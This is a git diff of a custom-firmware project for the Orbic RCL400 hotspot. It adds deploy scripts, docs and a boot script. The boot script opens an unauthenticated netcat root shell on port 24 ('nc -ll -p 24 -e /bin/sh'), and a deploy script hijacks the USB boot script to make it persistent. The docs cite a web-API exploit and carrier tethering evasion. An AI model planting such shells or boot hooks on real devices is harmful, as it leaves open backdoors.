diff --git a/.gitignore b/.gitignore index 8ab4b1bd..8c7d5974 100644 --- a/.gitignore +++ b/.gitignore @@ -29,3 +29,4 @@ Thumbs.db # Logs *.log +/gcc_win diff --git a/LICENSE b/LICENSE index aca08f19..48360598 100644 --- a/LICENSE +++ b/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2024 Daggy +Copyright (c) 2024 dag Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/README.md b/README.md index b5bb14a2..49c25236 100644 --- a/README.md +++ b/README.md @@ -36,11 +36,28 @@ A terminal-styled custom firmware for the **Orbic RCL400** hotspot with hacking - **Port Scanner**: Scan IPs for open ports - **Firewall Manager**: Block/unblock IPs with iptables +### šŸ“ GPS Tracker +- Get GPS from connected devices via browser geolocation +- Chrome workaround for HTTP geolocation +- Cell tower backup (MCC/MNC/LAC/CID) +- JSON API for programmatic access + +### šŸ“¶ Wardriver +- Scan WiFi networks with GPS coordinates +- Wigle-compatible CSV export +- Continuous loop mode (scans every 5 seconds) +- Real-time GPS display on wardrive page + +### šŸ“ File Explorer +- Browse `/data/` directory +- Download wardrive logs and other files +- Delete files with confirmation + ## Requirements -- Orbic RCL400 hotspot with root access (via exploit) -- ARM cross-compiler (`arm-linux-gnueabi-gcc`) -- Python 3 for deployment scripts +- Orbic RCL400 hotspot +- ARM cross-compiler (included in `gcc/` folder) +- Python 3 with `requests` module ## Building @@ -53,14 +70,23 @@ This produces `orbic_app` - a statically-linked ARM binary. ## Deploying -1. Connect to the hotspot's WiFi -2. Run the deployment script: +### Step 1: Enable Root Shell + +```powershell +python enable_shell.py YOUR_ADMIN_PASSWORD +``` + +This exploits the Orbic web API to open a shell on port 24. + +### Step 2: Deploy Firmware ```powershell python deploy_base64.py ``` -This uploads the binary to the device via the diagnostic port (24) and executes it. +This uploads and installs DagShell with **boot persistence**. + +The firmware is deployed to `/data/orbic_app` and auto-starts on reboot. ## Accessing @@ -85,5 +111,5 @@ MIT License - See LICENSE file. ## Credits -- **Daggy** - Creator +- **dag** - Creator - Built with ā¤ļø and `gcc` diff --git a/dagshell_boot.sh b/dagshell_boot.sh new file mode 100644 index 00000000..7b565f2d --- /dev/null +++ b/dagshell_boot.sh @@ -0,0 +1,13 @@ +#!/bin/sh +# DagShell Autostart - Robust +# Note: Use /bin/sh for this device (Orbic RCL400/MDM9207) + +# 1. Enable Shell (Port 24) +# Run in background, don't block +# We use busybox explicitly to avoid path issues +busybox nc -ll -p 24 -e /bin/sh & + +# 2. Start DagShell (Port 8081) +# Give network a moment, then launch +sleep 5 +/data/orbic_app & diff --git a/deploy.py b/deploy.py new file mode 100644 index 00000000..f5de80b0 --- /dev/null +++ b/deploy.py @@ -0,0 +1,77 @@ +#!/usr/bin/env python3 +""" +DagShell ADB Deployment Script +Deploys orbic_app to the Orbic RCL400 via ADB +""" + +import subprocess +import sys +import os + +SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__)) +BINARY_PATH = os.path.join(SCRIPT_DIR, "orbic_fw_c", "orbic_app") +REMOTE_PATH = "/data/local/tmp/orbic_app" +PORT = 8081 + +# Use local platform-tools +ADB = os.path.join(SCRIPT_DIR, "platform-tools", "adb.exe") +if not os.path.exists(ADB): + ADB = "adb" # Fallback to PATH + +def run_cmd(cmd, check=True): + """Run a command and return output""" + print(f"$ {' '.join(cmd)}") + result = subprocess.run(cmd, capture_output=True, text=True) + if check and result.returncode != 0: + print(f"Error: {result.stderr}") + return None + return result.stdout.strip() + +def main(): + # Check if binary exists + if not os.path.exists(BINARY_PATH): + print(f"Error: Binary not found at {BINARY_PATH}") + print("Run build.ps1 first!") + sys.exit(1) + + print(f"Binary: {BINARY_PATH} ({os.path.getsize(BINARY_PATH):,} bytes)") + + # Check ADB connection + print("\n[1/5] Checking ADB connection...") + devices = run_cmd([ADB, "devices"]) + if not devices or "device" not in devices.split('\n')[-1]: + print("Error: No ADB device connected!") + print("Make sure:") + print(" 1. USB cable is connected") + print(" 2. ADB is enabled on device") + print(" 3. Run: adb devices") + sys.exit(1) + print("Device connected!") + + # Kill old process + print("\n[2/5] Killing old orbic_app process...") + run_cmd([ADB, "shell", "pkill", "-f", "orbic_app"], check=False) + + # Push binary + print("\n[3/5] Pushing binary to device...") + result = run_cmd([ADB, "push", BINARY_PATH, REMOTE_PATH]) + if result is None: + sys.exit(1) + print(result) + + # Make executable + print("\n[4/5] Setting permissions...") + run_cmd([ADB, "shell", "chmod", "+x", REMOTE_PATH]) + + # Run in background + print("\n[5/5] Starting orbic_app...") + # Use nohup to keep it running after adb disconnects + run_cmd([ADB, "shell", f"nohup {REMOTE_PATH} > /dev/null 2>&1 &"], check=False) + + print("\n" + "="*50) + print("SUCCESS! DagShell is running!") + print(f"Access at: http://192.168.1.1:{PORT}/") + print("="*50) + +if __name__ == "__main__": + main() diff --git a/deploy_base64.py b/deploy_base64.py index 36ffdb22..38b61c7b 100644 --- a/deploy_base64.py +++ b/deploy_base64.py @@ -2,21 +2,26 @@ import socket import time import base64 -import os +import argparse +from pathlib import Path -FIRMWARE_DIR = r"d:\Scripts\orbic\orbic_fw_c" +# Auto-detect firmware directory relative to this script +SCRIPT_DIR = Path(__file__).parent.absolute() +FIRMWARE_DIR = SCRIPT_DIR / "orbic_fw_c" FIRMWARE_FILE = "orbic_app" -FILESYSTEM_PATH = os.path.join(FIRMWARE_DIR, FIRMWARE_FILE) -REMOTE_FILE_B64 = "/tmp/orbic_app.b64" -REMOTE_FILE = "/tmp/orbic_app" +BOOT_SCRIPT_FILE = "dagshell_boot.sh" -TARGET_IP = '192.168.1.1' -TARGET_PORT = 24 +FILESYSTEM_PATH = FIRMWARE_DIR / FIRMWARE_FILE +BOOT_SCRIPT_PATH = SCRIPT_DIR / BOOT_SCRIPT_FILE + +# Persistent locations on device (survives reboot) +REMOTE_FILE_B64 = "/data/orbic_app.b64" +REMOTE_FILE = "/data/orbic_app" +REMOTE_BOOT_SCRIPT = "/data/dagshell_boot.sh" def send_cmd(sock, cmd, wait=0.2): sock.sendall(cmd.encode() + b"\n") time.sleep(wait) - # Don't read recv every time to speed up, just let it buffer def read_response(sock): try: @@ -25,56 +30,116 @@ def read_response(sock): except: return "" -def deploy(): - # 1. Read and Encode +def setup_autostart(sock): + """ + Sets up persistent autostart by hijacking the USB composition script. + Target: /data/usb/boot_hsusb_composition + This file is executed by /etc/init.d/usb on boot for MDM9207. + """ + print("Setting up persistence (USB Hijack)...") + + # 1. Clean up old attempts (optional but good practice) + send_cmd(sock, "sed -i '/dagshell_boot.sh/d' /data/dnsmasq.conf", wait=0.5) + + # 2. Transfer boot script (Fixed Shebang: /bin/sh) + print(f"Transferring {BOOT_SCRIPT_FILE}...") + with open(BOOT_SCRIPT_PATH, "r") as f: + boot_script_content = f.read() + + # Ensure correct shebang on device + send_cmd(sock, f"echo '#!/bin/sh' > {REMOTE_BOOT_SCRIPT}") + for line in boot_script_content.splitlines(): + if line.startswith("#!"): continue + safe_line = line.replace("'", "'\\''") + send_cmd(sock, f"echo '{safe_line}' >> {REMOTE_BOOT_SCRIPT}", wait=0.05) + + send_cmd(sock, f"chmod +x {REMOTE_BOOT_SCRIPT}") + + # 3. Hijack USB Composition + WRAPPER_PATH = "/data/usb/boot_hsusb_composition" + ORIGINAL_SCRIPT = "/sbin/usb/compositions/PRJ_SLT779_9025" + + print("Hijacking USB composition script...") + + # Create wrapper that runs our script THEN configures USB + # We write directly to the persistent location (overwriting symlink/file) + # Using 'sh' explicitly to bypass execution restrictions + + # Remove existing first (to break symlink if present) + send_cmd(sock, f"rm {WRAPPER_PATH}") + + send_cmd(sock, f"echo '#!/bin/sh' > {WRAPPER_PATH}") + send_cmd(sock, f"echo '# DagShell Wrapper' >> {WRAPPER_PATH}") + send_cmd(sock, f"echo 'sh {REMOTE_BOOT_SCRIPT} &' >> {WRAPPER_PATH}") + send_cmd(sock, f"echo '# Chainload original' >> {WRAPPER_PATH}") + send_cmd(sock, f"echo '{ORIGINAL_SCRIPT} \"$@\"' >> {WRAPPER_PATH}") + + send_cmd(sock, f"chmod +x {WRAPPER_PATH}") + + print("Persistence configured! (USB Hook applied)") + +def deploy(target_ip, target_port): + print(f"Deploying DagShell firmware...") + + # Check if boot script exists locally + if not BOOT_SCRIPT_PATH.exists(): + print(f"ERROR: {BOOT_SCRIPT_FILE} not found!") + return + + # 1. Read and Encode Firmware print(f"Reading {FILESYSTEM_PATH}...") - with open(FILESYSTEM_PATH, "rb") as f: - data = f.read() + try: + with open(FILESYSTEM_PATH, "rb") as f: + data = f.read() + except FileNotFoundError: + print("Error: compiled firmware not found. Run build.ps1 first!") + return b64_data = base64.b64encode(data).decode('utf-8') print(f"Encoded size: {len(b64_data)} bytes") - chunks = [b64_data[i:i+1000] for i in range(0, len(b64_data), 1000)] - print(f"Chunks: {len(chunks)}") try: with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.settimeout(10) - s.connect((TARGET_IP, TARGET_PORT)) + s.connect((target_ip, target_port)) print("Connected.") # Kill old process - print("Killing old process...") send_cmd(s, "pkill -f orbic_app") time.sleep(1) - # Clean up - send_cmd(s, f"rm {REMOTE_FILE} {REMOTE_FILE_B64}") - # Send chunks - print("Sending chunks...") + print("Sending firmware chunks...") + send_cmd(s, f"echo -n '' > {REMOTE_FILE_B64}") # Clear file for i, chunk in enumerate(chunks): - if i % 10 == 0: - print(f"Sending chunk {i}/{len(chunks)}...") - # echo "chunk" >> file - send_cmd(s, f"echo -n '{chunk}' >> {REMOTE_FILE_B64}", wait=0.05) + if i % 50 == 0: print(f" {i}/{len(chunks)}", end="\r") + send_cmd(s, f"echo -n '{chunk}' >> {REMOTE_FILE_B64}", wait=0.02) + print("") - print("Decoding...") - send_cmd(s, f"base64 -d {REMOTE_FILE_B64} > {REMOTE_FILE}", wait=1) + print("Decoding & Installing...") + send_cmd(s, f"base64 -d {REMOTE_FILE_B64} > {REMOTE_FILE}", wait=2) + send_cmd(s, f"chmod +x {REMOTE_FILE}") - print("Chmoding...") - send_cmd(s, f"chmod +x {REMOTE_FILE}", wait=0.5) + # Setup autostart with the shell script + setup_autostart(s) - print("Running...") - send_cmd(s, REMOTE_FILE, wait=1) - - time.sleep(2) - print("--- OUTPUT ---") - print(read_response(s)) - print("--------------") + print("\n------------------------------------------------") + print("Deployment Complete!") + print(f"1. Firmware at: {REMOTE_FILE}") + print(f"2. Boot script at: {REMOTE_BOOT_SCRIPT}") + print("3. Autostart hooked in /etc/init.d/misc-daemon") + print("------------------------------------------------") + print("Running test instance...") + send_cmd(s, f"{REMOTE_BOOT_SCRIPT} &") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": - deploy() + parser = argparse.ArgumentParser(description="Deploy DagShell firmware to Orbic device via base64") + parser.add_argument("--target-ip", default="192.168.1.1", help="Orbic device IP (default: 192.168.1.1)") + parser.add_argument("--target-port", type=int, default=24, help="Orbic shell port (default: 24)") + args = parser.parse_args() + + deploy(args.target_ip, args.target_port) diff --git a/deploy_net.py b/deploy_net.py index f2635dfb..ff1c8852 100644 --- a/deploy_net.py +++ b/deploy_net.py @@ -5,21 +5,23 @@ import socket import time import os +import argparse +from pathlib import Path -HOST = '192.168.1.143' # Your PC IP on the RNDIS interface -PORT = 8000 -FIRMWARE_DIR = r"d:\Scripts\orbic\orbic_fw_c" +# Auto-detect firmware directory relative to this script +SCRIPT_DIR = Path(__file__).parent.absolute() +FIRMWARE_DIR = SCRIPT_DIR / "orbic_fw_c" FIRMWARE_FILE = "orbic_app" -REMOTE_FILE = "/tmp/orbic_app" -TARGET_IP = '192.168.1.1' -TARGET_PORT = 24 +# Persistent locations on device (survives reboot) +REMOTE_FILE = "/data/orbic_app" +STARTUP_SCRIPT = "/data/dagshell_autostart.sh" -def start_server(): +def start_server(host_port): os.chdir(FIRMWARE_DIR) handler = http.server.SimpleHTTPRequestHandler - with socketserver.TCPServer(("", PORT), handler) as httpd: - print(f"Serving at port {PORT}") + with socketserver.TCPServer(("", host_port), handler) as httpd: + print(f"Serving at port {host_port}") httpd.serve_forever() def send_cmd(sock, cmd): @@ -34,35 +36,75 @@ def send_cmd(sock, cmd): print("Timeout receiving response (might be expected for blocking commands)") return "" -def deploy(): +def setup_autostart(sock): + """Create autostart script to run firmware on boot""" + print("Setting up autostart...") + + # Create the startup script + send_cmd(sock, f"echo '#!/system/bin/sh' > {STARTUP_SCRIPT}") + send_cmd(sock, f"echo '# DagShell Autostart Script' >> {STARTUP_SCRIPT}") + send_cmd(sock, f"echo 'sleep 15' >> {STARTUP_SCRIPT}") # Wait for system to stabilize + send_cmd(sock, f"echo '{REMOTE_FILE} &' >> {STARTUP_SCRIPT}") + send_cmd(sock, f"chmod +x {STARTUP_SCRIPT}") + + # Try multiple autostart methods (device-specific) + # Method 1: Add to rc.local if it exists + send_cmd(sock, f"grep -q '{STARTUP_SCRIPT}' /data/rc.local 2>/dev/null || echo '{STARTUP_SCRIPT}' >> /data/rc.local") + + # Method 2: Create init.d script if supported + send_cmd(sock, f"mkdir -p /data/local/init.d") + send_cmd(sock, f"echo '#!/system/bin/sh' > /data/local/init.d/99dagshell") + send_cmd(sock, f"echo '{STARTUP_SCRIPT}' >> /data/local/init.d/99dagshell") + send_cmd(sock, f"chmod +x /data/local/init.d/99dagshell") + + print("Autostart configured!") + +def deploy(host_ip, host_port, target_ip, target_port): # Start HTTP Server in background - thread = threading.Thread(target=start_server) + thread = threading.Thread(target=start_server, args=(host_port,)) thread.daemon = True thread.start() - time.sleep(2) # Wait for startup + time.sleep(2) # Wait for startup try: with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.settimeout(10) - s.connect((TARGET_IP, TARGET_PORT)) + s.connect((target_ip, target_port)) print("Connected to Orbic shell!") - # 1. Download - cmd_download = f"wget -O {REMOTE_FILE} http://{HOST}:{PORT}/{FIRMWARE_FILE}" + # Kill old process first + print("Killing old process...") + send_cmd(s, "pkill -f orbic_app") + + # 1. Download to persistent location + cmd_download = f"wget -O {REMOTE_FILE} http://{host_ip}:{host_port}/{FIRMWARE_FILE}" send_cmd(s, cmd_download) # 2. Chmod send_cmd(s, f"chmod +x {REMOTE_FILE}") - # 3. Run + # 3. Setup autostart for persistence across reboots + setup_autostart(s) + + # 4. Run in background print("Running firmware...") - output = send_cmd(s, REMOTE_FILE) + output = send_cmd(s, f"{REMOTE_FILE} &") print("--- FIRMWARE OUTPUT ---") print(output) print("-----------------------") + print("\nāœ“ Firmware deployed to /data/ (persistent)") + print("āœ“ Autostart configured for boot persistence") except Exception as e: print(f"Deploy Error: {e}") if __name__ == "__main__": - deploy() + parser = argparse.ArgumentParser(description="Deploy DagShell firmware to Orbic device via HTTP download") + parser.add_argument("--host-ip", default="192.168.1.143", help="Your PC's IP on RNDIS interface (default: 192.168.1.143)") + parser.add_argument("--host-port", type=int, default=8000, help="HTTP server port (default: 8000)") + parser.add_argument("--target-ip", default="192.168.1.1", help="Orbic device IP (default: 192.168.1.1)") + parser.add_argument("--target-port", type=int, default=24, help="Orbic shell port (default: 24)") + args = parser.parse_args() + + deploy(args.host_ip, args.host_port, args.target_ip, args.target_port) + diff --git a/docs/assets/screenshot-tools.png b/docs/assets/screenshot-tools.png new file mode 100644 index 00000000..289f90a0 Binary files /dev/null and b/docs/assets/screenshot-tools.png differ diff --git a/docs/css/style.css b/docs/css/style.css new file mode 100644 index 00000000..be3bbda2 --- /dev/null +++ b/docs/css/style.css @@ -0,0 +1,479 @@ +/* DagShell Docs - Terminal Theme */ + +@import url('https://fonts.googleapis.com/css2?family=Fira+Code:wght@400;700&display=swap'); + +:root { + --bg-dark: #0a0a0a; + --bg-card: rgba(0, 20, 0, 0.8); + --green-primary: #00ff00; + --green-dark: #003300; + --cyan: #00ffff; + --yellow: #ffff00; + --red: #ff4444; + --text-muted: #888888; +} + +* { + box-sizing: border-box; + margin: 0; + padding: 0; +} + +html { + scroll-behavior: smooth; +} + +body { + font-family: 'Fira Code', Consolas, 'Courier New', monospace; + background: var(--bg-dark); + color: var(--green-primary); + min-height: 100vh; + line-height: 1.6; +} + +/* Scanline Effect */ +.scanlines { + position: fixed; + top: 0; + left: 0; + width: 100%; + height: 100%; + pointer-events: none; + background: repeating-linear-gradient( + 0deg, + rgba(0, 0, 0, 0.1), + rgba(0, 0, 0, 0.1) 1px, + transparent 1px, + transparent 2px + ); + z-index: 1000; +} + +/* Container */ +.container { + max-width: 1000px; + margin: 0 auto; + padding: 20px; + position: relative; +} + +/* Header */ +.header { + text-align: center; + padding: 40px 0; + border-bottom: 1px solid var(--green-primary); + margin-bottom: 30px; +} + +.ascii-logo { + font-size: 12px; + line-height: 1.15; + color: var(--green-primary); + text-shadow: 0 0 10px var(--green-primary), 0 0 20px var(--green-primary); + white-space: pre; + display: inline-block; +} + +.tagline { + color: var(--cyan); + font-size: 14px; + margin-top: 15px; + text-shadow: 0 0 5px var(--cyan); +} + +/* Navigation */ +.nav { + display: flex; + justify-content: center; + gap: 8px; + flex-wrap: wrap; + margin-bottom: 30px; + padding: 15px; + background: rgba(0, 255, 0, 0.05); + border: 1px solid var(--green-dark); +} + +.nav a { + color: var(--green-primary); + text-decoration: none; + padding: 10px 20px; + border: 1px solid var(--green-dark); + transition: all 0.3s; + font-size: 14px; +} + +.nav a:hover { + background: var(--green-dark); + box-shadow: 0 0 15px var(--green-primary); +} + +.nav a.active { + background: var(--green-primary); + color: #000; + font-weight: bold; + box-shadow: 0 0 20px var(--green-primary); +} + +/* Cards */ +.card { + background: var(--bg-card); + border: 1px solid var(--green-primary); + padding: 25px; + margin-bottom: 25px; + box-shadow: 0 0 15px rgba(0, 255, 0, 0.2); +} + +.card h1, .card h2, .card h3 { + color: var(--cyan); + text-shadow: 0 0 5px var(--cyan); + margin-bottom: 15px; +} + +.card h1 { + font-size: 28px; + text-align: center; +} + +.card h2 { + font-size: 22px; + border-bottom: 1px solid var(--green-dark); + padding-bottom: 10px; + margin-top: 20px; +} + +.card h3 { + font-size: 18px; +} + +.card p { + margin-bottom: 15px; +} + +/* Hero Section */ +.hero { + text-align: center; + padding: 60px 20px; +} + +.hero h1 { + font-size: 36px; + margin-bottom: 20px; + text-shadow: 0 0 20px var(--cyan); +} + +.hero p { + font-size: 16px; + color: var(--text-muted); + max-width: 600px; + margin: 0 auto 30px; +} + +/* Buttons */ +.btn { + display: inline-block; + padding: 12px 30px; + background: var(--green-dark); + color: var(--green-primary); + border: 1px solid var(--green-primary); + text-decoration: none; + transition: all 0.3s; + margin: 5px; +} + +.btn:hover { + background: var(--green-primary); + color: #000; + box-shadow: 0 0 20px var(--green-primary); +} + +.btn-primary { + background: var(--green-primary); + color: #000; + font-weight: bold; +} + +.btn-primary:hover { + background: var(--cyan); + border-color: var(--cyan); + box-shadow: 0 0 20px var(--cyan); +} + +/* Feature Grid */ +.feature-grid { + display: grid; + grid-template-columns: repeat(auto-fit, minmax(280px, 1fr)); + gap: 20px; + margin: 30px 0; +} + +.feature-item { + background: rgba(0, 40, 0, 0.5); + border-left: 3px solid var(--cyan); + padding: 20px; + transition: all 0.3s; +} + +.feature-item:hover { + background: rgba(0, 60, 0, 0.5); + box-shadow: 0 0 15px rgba(0, 255, 255, 0.3); +} + +.feature-item h3 { + margin-bottom: 10px; +} + +.feature-item p { + color: var(--text-muted); + font-size: 14px; +} + +.feature-icon { + font-size: 24px; + margin-bottom: 10px; +} + +/* Code Blocks */ +pre, code { + font-family: 'Fira Code', monospace; +} + +pre { + background: #000; + border-left: 3px solid var(--green-primary); + padding: 15px; + overflow-x: auto; + margin: 15px 0; + font-size: 13px; +} + +code { + background: rgba(0, 255, 0, 0.1); + padding: 2px 6px; + border-radius: 3px; +} + +pre code { + background: none; + padding: 0; +} + +/* Steps */ +.steps { + counter-reset: step; +} + +.step { + position: relative; + padding-left: 50px; + margin-bottom: 25px; +} + +.step::before { + counter-increment: step; + content: counter(step); + position: absolute; + left: 0; + top: 0; + width: 35px; + height: 35px; + background: var(--green-dark); + border: 2px solid var(--green-primary); + border-radius: 50%; + display: flex; + align-items: center; + justify-content: center; + font-weight: bold; + color: var(--green-primary); +} + +.step h3 { + color: var(--green-primary); +} + +/* FAQ */ +.faq-item { + background: rgba(0, 30, 0, 0.5); + border: 1px solid var(--green-dark); + margin-bottom: 15px; + overflow: hidden; +} + +.faq-question { + padding: 15px 20px; + cursor: pointer; + display: flex; + justify-content: space-between; + align-items: center; + transition: all 0.3s; +} + +.faq-question:hover { + background: rgba(0, 50, 0, 0.5); +} + +.faq-question h3 { + margin: 0; + font-size: 16px; +} + +.faq-toggle { + font-size: 20px; + color: var(--green-primary); + transition: transform 0.3s; +} + +.faq-item.open .faq-toggle { + transform: rotate(45deg); +} + +.faq-answer { + max-height: 0; + overflow: hidden; + transition: max-height 0.3s ease-out; + background: rgba(0, 20, 0, 0.5); +} + +.faq-item.open .faq-answer { + max-height: 500px; +} + +.faq-answer p { + padding: 15px 20px; + margin: 0; + color: var(--text-muted); +} + +/* Screenshot */ +.screenshot { + border: 2px solid var(--green-primary); + box-shadow: 0 0 30px rgba(0, 255, 0, 0.3); + max-width: 100%; + display: block; + margin: 20px auto; +} + +/* Lists */ +ul, ol { + margin: 15px 0 15px 25px; +} + +li { + margin-bottom: 8px; +} + +/* Links */ +a { + color: var(--cyan); + text-decoration: none; +} + +a:hover { + text-shadow: 0 0 10px var(--cyan); +} + +/* Tables */ +table { + width: 100%; + border-collapse: collapse; + margin: 15px 0; +} + +th, td { + padding: 12px; + text-align: left; + border: 1px solid var(--green-dark); +} + +th { + background: rgba(0, 255, 0, 0.1); + color: var(--cyan); +} + +tr:hover { + background: rgba(0, 255, 0, 0.05); +} + +/* Footer */ +.footer { + text-align: center; + padding: 30px; + border-top: 1px solid var(--green-dark); + margin-top: 40px; + color: var(--text-muted); + font-size: 13px; +} + +.footer a { + color: var(--green-primary); +} + +/* Blink Animation */ +.blink { + animation: blink 1s infinite; +} + +@keyframes blink { + 0%, 50% { opacity: 1; } + 51%, 100% { opacity: 0; } +} + +/* Glow Animation */ +.glow { + animation: glow 2s ease-in-out infinite alternate; +} + +@keyframes glow { + from { + text-shadow: 0 0 10px var(--green-primary); + } + to { + text-shadow: 0 0 20px var(--green-primary), 0 0 30px var(--green-primary); + } +} + +/* Warning/Info Boxes */ +.alert { + padding: 15px 20px; + margin: 15px 0; + border-left: 4px solid; +} + +.alert-info { + background: rgba(0, 255, 255, 0.1); + border-color: var(--cyan); +} + +.alert-warning { + background: rgba(255, 255, 0, 0.1); + border-color: var(--yellow); +} + +.alert-danger { + background: rgba(255, 68, 68, 0.1); + border-color: var(--red); +} + +/* Responsive */ +@media (max-width: 768px) { + .ascii-logo { + font-size: 8px; + } + + .nav { + flex-direction: column; + align-items: center; + } + + .nav a { + width: 100%; + text-align: center; + } + + .hero h1 { + font-size: 24px; + } + + .container { + padding: 15px; + } +} diff --git a/docs/faq.html b/docs/faq.html new file mode 100644 index 00000000..d5ea6c75 --- /dev/null +++ b/docs/faq.html @@ -0,0 +1,272 @@ + + + + + + + + FAQ - DagShell + + + + +
+ +
+ +
+ +

[ Orbic RCL400 Custom Firmware ]

+
+ + + + + +
+

ā“ Frequently Asked Questions

+ + +

General

+ +
+
+

What is DagShell?

+ + +
+
+

DagShell is a custom firmware/control panel for the Orbic RCL400 LTE hotspot. It provides a + web-based interface with hacking tools, privacy features, and direct modem access that aren't + available in the stock firmware.

+
+
+ +
+
+

Is DagShell free?

+ + +
+
+

Yes! DagShell is open source software released under the MIT License. You can view, modify, and + distribute the source code freely.

+
+
+ +
+
+

Will this brick my device?

+ + +
+
+

DagShell is deployed to /data/orbic_app and configured to auto-start on boot, so it + survives reboots. The shell enabler (enable_shell.py) doesn't modify permanent + storage - you can always reboot to get a fresh state if needed.

+
+
+ +
+
+

Is this legal?

+ + +
+
+

DagShell is intended for educational purposes and use on devices you own. Some features like TTL + modification or MAC spoofing may violate your carrier's terms of service. Always comply with + local laws and regulations.

+
+
+ + +

Requirements

+ +
+
+

Do I need root access?

+ + +
+
+

DagShell comes with enable_shell.py which exploits the Orbic's web API to open a + root shell on port 24. No external exploit is required - just run the script with your admin + password.

+
+
+ +
+
+

Does this work on other hotspots?

+ + +
+
+

DagShell is specifically designed for the Orbic RCL400. Other devices have different modem + interfaces and may not be compatible. The modem communication specifically uses + /dev/smd8 which is Qualcomm-specific. +

+
+
+ +
+
+

What compiler do I need?

+ + +
+
+

The ARM cross-compiler is included in the gcc/ folder. Just run + .\build.ps1 to compile. The firmware is compiled statically to avoid library + dependencies. +

+
+
+ + +

Features

+ +
+
+

What is TTL Fix and why would I use it?

+ + +
+
+

TTL (Time To Live) is a packet header value that decreases by 1 at each network hop. Carriers can + detect tethered devices because their packets have a lower TTL than direct phone traffic. + Setting TTL to 65 makes hotspot traffic appear to originate from the device itself.

+
+
+ +
+
+

How accurate is the IMSI catcher detector?

+ + +
+
+

The IMSI catcher detector provides basic monitoring of cell tower information. It can detect + obvious anomalies like unknown operators or sudden signal changes. However, sophisticated IMSI + catchers that properly impersonate legitimate towers may not be detected. Consider it an + awareness tool rather than a security guarantee.

+
+
+ +
+
+

Can I read SMS messages?

+ + +
+
+

Currently, DagShell only supports sending SMS. To read received messages, use the stock Orbic + portal at http://192.168.1.1/common/shortmessage.html.

+
+
+ +
+
+

Will firewall rules persist after reboot?

+ + +
+
+

No, iptables rules are stored in memory and will be lost on reboot. If you need persistent rules, + you would need to add them to a startup script on the device.

+
+
+ + +

Troubleshooting

+ +
+
+

I can't connect to port 24

+ + +
+
+

Run python enable_shell.py YOUR_ADMIN_PASSWORD first. This opens port 24.

+

If the script shows "Login retcode = 102", double-check your password.

+

If you see connection errors, try rebooting the Orbic and running the script immediately after. +

+
+
+ +
+
+

The web interface is slow or unresponsive

+ + +
+
+

DagShell is single-threaded, so it can only handle one request at a time. If the modem is busy or + slow to respond to AT commands, the page load will be delayed. Try refreshing the page or + waiting for the current operation to complete.

+
+
+ +
+
+

AT commands return "Modem Port Busy"

+ + +
+
+

The modem port (/dev/smd8) can only be accessed by one process at a time. If you see + this error, another process (possibly the stock firmware's modem handler) is using the port. The + firmware has built-in retry logic, but if the problem persists, try rebooting the device.

+
+
+ +
+
+

How do I stop DagShell?

+ + +
+
+

Connect to port 24 and run: pkill -f orbic_app. To permanently disable auto-start, + delete /data/dagshell_autostart.sh. Or just reboot to stop the current session.

+
+
+ + +

Contributing

+ +
+
+

How can I contribute?

+ + +
+
+

Contributions are welcome! Check out the GitHub repository to submit issues, feature requests, or pull requests. +

+
+
+ +
+
+

I have a feature idea!

+ + +
+
+

Great! Open an issue on GitHub describing your idea. Some things to keep in mind: the firmware is + designed to be lightweight and run on a resource-constrained embedded device. Features that + require large libraries may not be feasible.

+
+
+
+ + + +
+ + + + + \ No newline at end of file diff --git a/docs/features.html b/docs/features.html new file mode 100644 index 00000000..faa6d4fa --- /dev/null +++ b/docs/features.html @@ -0,0 +1,326 @@ + + + + + + + + Features - DagShell + + + + +
+ +
+ +
+ +

[ Orbic RCL400 Custom Firmware ]

+
+ + + + + +
+

šŸ“‹ Feature Documentation

+ +

šŸ  Dashboard

+

The home page provides an overview of your device and direct modem access.

+ +

System Uptime

+

Displays how long the device has been running since last boot (in seconds).

+ +

AT Command Interface

+

Send raw AT commands directly to the modem. Examples:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
CommandDescription
ATIDisplay modem information
AT+CSQCheck signal strength
AT+COPS?Current network operator
AT+CREG?Network registration status
AT+CGSNGet IMEI number
AT+CIMIGet IMSI number
+
+ + +
+

🌐 Network Analysis

+

View detailed network information and manage TTL settings.

+ +

Magic TTL Fix

+

Set a custom TTL (Time To Live) value for outgoing packets. This helps mask hotspot traffic from carriers + that detect tethering.

+
+ šŸ’” Tip: A TTL of 65 is commonly used to disguise hotspot traffic as direct phone + traffic. +
+ +

Interfaces

+

Shows all network interfaces with their IP addresses, similar to running ip addr.

+ +

Clients

+

Displays the ARP table showing all devices connected to your hotspot, including their MAC and IP + addresses.

+ +

Connections

+

Active TCP/UDP connections through the device, showing source, destination, and connection state.

+
+ + +
+

šŸ”’ Privacy Tools

+

Protect your identity and block unwanted content.

+ +

MAC Spoofing

+

Change your device's MAC address to avoid tracking. Enter a new MAC in the format + XX:XX:XX:XX:XX:XX. +

+
+ āš ļø Note: This temporarily brings the WiFi interface down, which may disconnect clients + briefly. +
+ +

AdBlock

+

Enable DNS-level ad blocking by redirecting known ad domains to 0.0.0.0 via the hosts file. + This affects all devices connected to the hotspot.

+

Currently blocks:

+ +

The hosts file can be extended by adding more domains to /data/hosts.

+
+ + +
+

šŸ“± SMS Manager

+

Send text messages using the hotspot's cellular modem.

+ +

Sending Messages

+

Enter a phone number (with country code for international) and your message. The firmware uses AT + commands to queue the SMS.

+ +

Viewing Inbox

+

To view received messages, use the stock Orbic portal at:

+
http://192.168.1.1/common/shortmessage.html
+ +
+ šŸ’” Reply Feature: When clicking reply from the inbox link, the phone number will be + pre-filled in the send form. +
+
+ + +
+

šŸ”§ Hacking Tools

+

Network reconnaissance and defense utilities.

+ +

šŸ“” IMSI Catcher Detector

+

Monitors your cellular connection for signs of fake cell towers (IMSI catchers / Stingrays).

+

Displays:

+ +
+ āš ļø Disclaimer: This is a basic detector. Professional IMSI catchers may not be + detected. +
+ +

šŸ” Port Scanner

+

Scan a target IP address for open ports. Enter the target IP and a comma-separated list of ports to scan. +

+

Example: 192.168.1.1 with ports 22,80,443,8080

+

Uses netcat under the hood for connection testing.

+ +

šŸ›”ļø Firewall Manager

+

Manage iptables rules through a simple interface.

+ +

Current INPUT chain rules are displayed below the forms.

+
+ + +
+

šŸ“ GPS Tracker

